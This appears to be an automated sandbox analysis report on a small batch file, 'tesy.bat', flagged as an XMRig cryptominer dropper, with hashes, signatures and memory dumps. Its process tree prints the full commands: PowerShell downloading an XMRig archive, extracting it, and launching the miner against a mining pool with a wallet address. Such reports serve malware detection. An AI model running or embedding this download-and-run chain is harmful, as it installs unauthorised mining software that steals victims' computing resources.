Analysis

  • max time kernel
    1798s
  • max time network
    1790s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    31/12/2023, 06:24

General

  • Target

    tesy.bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 63 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
    1⤵
    • Blocklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:2164
  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4008
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3992
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:5076

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/2164-4-0x000001914CB90000-0x000001914CBB2000-memory.dmp

    Filesize

    136KB

  • memory/2164-7-0x000001914C700000-0x000001914C710000-memory.dmp

    Filesize

    64KB

  • memory/2164-10-0x0000019164E90000-0x0000019164F06000-memory.dmp

    Filesize

    472KB

  • memory/2164-25-0x000001914C700000-0x000001914C710000-memory.dmp

    Filesize

    64KB

  • memory/2164-9-0x000001914C700000-0x000001914C710000-memory.dmp

    Filesize

    64KB

  • memory/2164-6-0x00007FF8A8670000-0x00007FF8A905C000-memory.dmp

    Filesize

    9.9MB

  • memory/2164-28-0x000001914C700000-0x000001914C710000-memory.dmp

    Filesize

    64KB

  • memory/2164-27-0x000001914C700000-0x000001914C710000-memory.dmp

    Filesize

    64KB

  • memory/2164-26-0x00007FF8A8670000-0x00007FF8A905C000-memory.dmp

    Filesize

    9.9MB

  • memory/2164-29-0x000001914C700000-0x000001914C710000-memory.dmp

    Filesize

    64KB

  • memory/2164-34-0x00007FF8A8670000-0x00007FF8A905C000-memory.dmp

    Filesize

    9.9MB

  • memory/3992-42-0x0000024B25180000-0x0000024B25190000-memory.dmp

    Filesize

    64KB

  • memory/3992-41-0x0000024B25180000-0x0000024B25190000-memory.dmp

    Filesize

    64KB

  • memory/3992-40-0x00007FF8A8670000-0x00007FF8A905C000-memory.dmp

    Filesize

    9.9MB

  • memory/3992-66-0x0000024B25180000-0x0000024B25190000-memory.dmp

    Filesize

    64KB

  • memory/3992-93-0x0000024B3D610000-0x0000024B3D61A000-memory.dmp

    Filesize

    40KB

  • memory/3992-80-0x0000024B3D7A0000-0x0000024B3D7B2000-memory.dmp

    Filesize

    72KB

  • memory/3992-117-0x00007FF8A8670000-0x00007FF8A905C000-memory.dmp

    Filesize

    9.9MB

  • memory/5076-120-0x000002542B8D0000-0x000002542B8F0000-memory.dmp

    Filesize

    128KB

  • memory/5076-121-0x00007FF7863F0000-0x00007FF786EF3000-memory.dmp

    Filesize

    11.0MB

  • memory/5076-122-0x00007FF7863F0000-0x00007FF786EF3000-memory.dmp

    Filesize

    11.0MB

  • memory/5076-123-0x00007FF7863F0000-0x00007FF786EF3000-memory.dmp

    Filesize

    11.0MB

  • memory/5076-124-0x000002542D3F0000-0x000002542D410000-memory.dmp

    Filesize

    128KB

  • memory/5076-125-0x00007FF7863F0000-0x00007FF786EF3000-memory.dmp

    Filesize

    11.0MB

  • memory/5076-126-0x00007FF7863F0000-0x00007FF786EF3000-memory.dmp

    Filesize

    11.0MB

  • memory/5076-128-0x000002542D430000-0x000002542D450000-memory.dmp

    Filesize

    128KB

  • memory/5076-127-0x000002542D410000-0x000002542D430000-memory.dmp

    Filesize

    128KB

  • memory/5076-129-0x00007FF7863F0000-0x00007FF786EF3000-memory.dmp

    Filesize

    11.0MB

  • memory/5076-130-0x00007FF7863F0000-0x00007FF786EF3000-memory.dmp

    Filesize

    11.0MB

  • memory/5076-132-0x000002542D410000-0x000002542D430000-memory.dmp

    Filesize

    128KB

  • memory/5076-133-0x000002542D430000-0x000002542D450000-memory.dmp

    Filesize

    128KB

  • memory/5076-131-0x00007FF7863F0000-0x00007FF786EF3000-memory.dmp

    Filesize

    11.0MB

  • memory/5076-134-0x00007FF7863F0000-0x00007FF786EF3000-memory.dmp

    Filesize

    11.0MB

  • memory/5076-141-0x00007FF7863F0000-0x00007FF786EF3000-memory.dmp

    Filesize

    11.0MB

  • memory/5076-140-0x00007FF7863F0000-0x00007FF786EF3000-memory.dmp

    Filesize

    11.0MB

  • memory/5076-139-0x00007FF7863F0000-0x00007FF786EF3000-memory.dmp

    Filesize

    11.0MB

  • memory/5076-138-0x00007FF7863F0000-0x00007FF786EF3000-memory.dmp

    Filesize

    11.0MB

  • memory/5076-137-0x00007FF7863F0000-0x00007FF786EF3000-memory.dmp

    Filesize

    11.0MB

  • memory/5076-136-0x00007FF7863F0000-0x00007FF786EF3000-memory.dmp

    Filesize

    11.0MB

  • memory/5076-135-0x00007FF7863F0000-0x00007FF786EF3000-memory.dmp

    Filesize

    11.0MB

  • memory/5076-142-0x00007FF7863F0000-0x00007FF786EF3000-memory.dmp

    Filesize

    11.0MB

  • memory/5076-143-0x00007FF7863F0000-0x00007FF786EF3000-memory.dmp

    Filesize

    11.0MB

  • memory/5076-144-0x00007FF7863F0000-0x00007FF786EF3000-memory.dmp

    Filesize

    11.0MB

  • memory/5076-145-0x00007FF7863F0000-0x00007FF786EF3000-memory.dmp

    Filesize

    11.0MB

  • memory/5076-146-0x00007FF7863F0000-0x00007FF786EF3000-memory.dmp

    Filesize

    11.0MB

  • memory/5076-147-0x00007FF7863F0000-0x00007FF786EF3000-memory.dmp

    Filesize

    11.0MB

  • memory/5076-148-0x00007FF7863F0000-0x00007FF786EF3000-memory.dmp

    Filesize

    11.0MB

  • memory/5076-149-0x00007FF7863F0000-0x00007FF786EF3000-memory.dmp

    Filesize

    11.0MB

  • memory/5076-150-0x00007FF7863F0000-0x00007FF786EF3000-memory.dmp

    Filesize

    11.0MB

  • memory/5076-151-0x00007FF7863F0000-0x00007FF786EF3000-memory.dmp

    Filesize

    11.0MB

  • memory/5076-152-0x00007FF7863F0000-0x00007FF786EF3000-memory.dmp

    Filesize

    11.0MB

  • memory/5076-153-0x00007FF7863F0000-0x00007FF786EF3000-memory.dmp

    Filesize

    11.0MB

  • memory/5076-154-0x00007FF7863F0000-0x00007FF786EF3000-memory.dmp

    Filesize

    11.0MB

  • memory/5076-155-0x00007FF7863F0000-0x00007FF786EF3000-memory.dmp

    Filesize

    11.0MB

  • memory/5076-156-0x00007FF7863F0000-0x00007FF786EF3000-memory.dmp

    Filesize

    11.0MB

  • memory/5076-157-0x00007FF7863F0000-0x00007FF786EF3000-memory.dmp

    Filesize

    11.0MB

  • memory/5076-158-0x00007FF7863F0000-0x00007FF786EF3000-memory.dmp

    Filesize

    11.0MB

  • memory/5076-159-0x00007FF7863F0000-0x00007FF786EF3000-memory.dmp

    Filesize

    11.0MB

  • memory/5076-160-0x00007FF7863F0000-0x00007FF786EF3000-memory.dmp

    Filesize

    11.0MB

  • memory/5076-161-0x00007FF7863F0000-0x00007FF786EF3000-memory.dmp

    Filesize

    11.0MB

  • memory/5076-162-0x00007FF7863F0000-0x00007FF786EF3000-memory.dmp

    Filesize

    11.0MB

  • memory/5076-163-0x00007FF7863F0000-0x00007FF786EF3000-memory.dmp

    Filesize

    11.0MB

  • memory/5076-164-0x00007FF7863F0000-0x00007FF786EF3000-memory.dmp

    Filesize

    11.0MB

  • memory/5076-165-0x00007FF7863F0000-0x00007FF786EF3000-memory.dmp

    Filesize

    11.0MB

  • memory/5076-166-0x00007FF7863F0000-0x00007FF786EF3000-memory.dmp

    Filesize

    11.0MB

  • memory/5076-167-0x00007FF7863F0000-0x00007FF786EF3000-memory.dmp

    Filesize

    11.0MB

  • memory/5076-168-0x00007FF7863F0000-0x00007FF786EF3000-memory.dmp

    Filesize

    11.0MB

  • memory/5076-169-0x00007FF7863F0000-0x00007FF786EF3000-memory.dmp

    Filesize

    11.0MB

  • memory/5076-170-0x00007FF7863F0000-0x00007FF786EF3000-memory.dmp

    Filesize

    11.0MB

  • memory/5076-171-0x00007FF7863F0000-0x00007FF786EF3000-memory.dmp

    Filesize

    11.0MB

  • memory/5076-172-0x00007FF7863F0000-0x00007FF786EF3000-memory.dmp

    Filesize

    11.0MB

  • memory/5076-173-0x00007FF7863F0000-0x00007FF786EF3000-memory.dmp

    Filesize

    11.0MB

  • memory/5076-174-0x00007FF7863F0000-0x00007FF786EF3000-memory.dmp

    Filesize

    11.0MB

  • memory/5076-175-0x00007FF7863F0000-0x00007FF786EF3000-memory.dmp

    Filesize

    11.0MB

  • memory/5076-176-0x00007FF7863F0000-0x00007FF786EF3000-memory.dmp

    Filesize

    11.0MB

  • memory/5076-177-0x00007FF7863F0000-0x00007FF786EF3000-memory.dmp

    Filesize

    11.0MB

  • memory/5076-178-0x00007FF7863F0000-0x00007FF786EF3000-memory.dmp

    Filesize

    11.0MB

  • memory/5076-179-0x00007FF7863F0000-0x00007FF786EF3000-memory.dmp

    Filesize

    11.0MB

  • memory/5076-180-0x00007FF7863F0000-0x00007FF786EF3000-memory.dmp

    Filesize

    11.0MB

  • memory/5076-181-0x00007FF7863F0000-0x00007FF786EF3000-memory.dmp

    Filesize

    11.0MB

  • memory/5076-182-0x00007FF7863F0000-0x00007FF786EF3000-memory.dmp

    Filesize

    11.0MB

  • memory/5076-183-0x00007FF7863F0000-0x00007FF786EF3000-memory.dmp

    Filesize

    11.0MB

  • memory/5076-184-0x00007FF7863F0000-0x00007FF786EF3000-memory.dmp

    Filesize

    11.0MB

  • memory/5076-185-0x00007FF7863F0000-0x00007FF786EF3000-memory.dmp

    Filesize

    11.0MB

  • memory/5076-186-0x00007FF7863F0000-0x00007FF786EF3000-memory.dmp

    Filesize

    11.0MB

  • memory/5076-187-0x00007FF7863F0000-0x00007FF786EF3000-memory.dmp

    Filesize

    11.0MB

  • memory/5076-188-0x00007FF7863F0000-0x00007FF786EF3000-memory.dmp

    Filesize

    11.0MB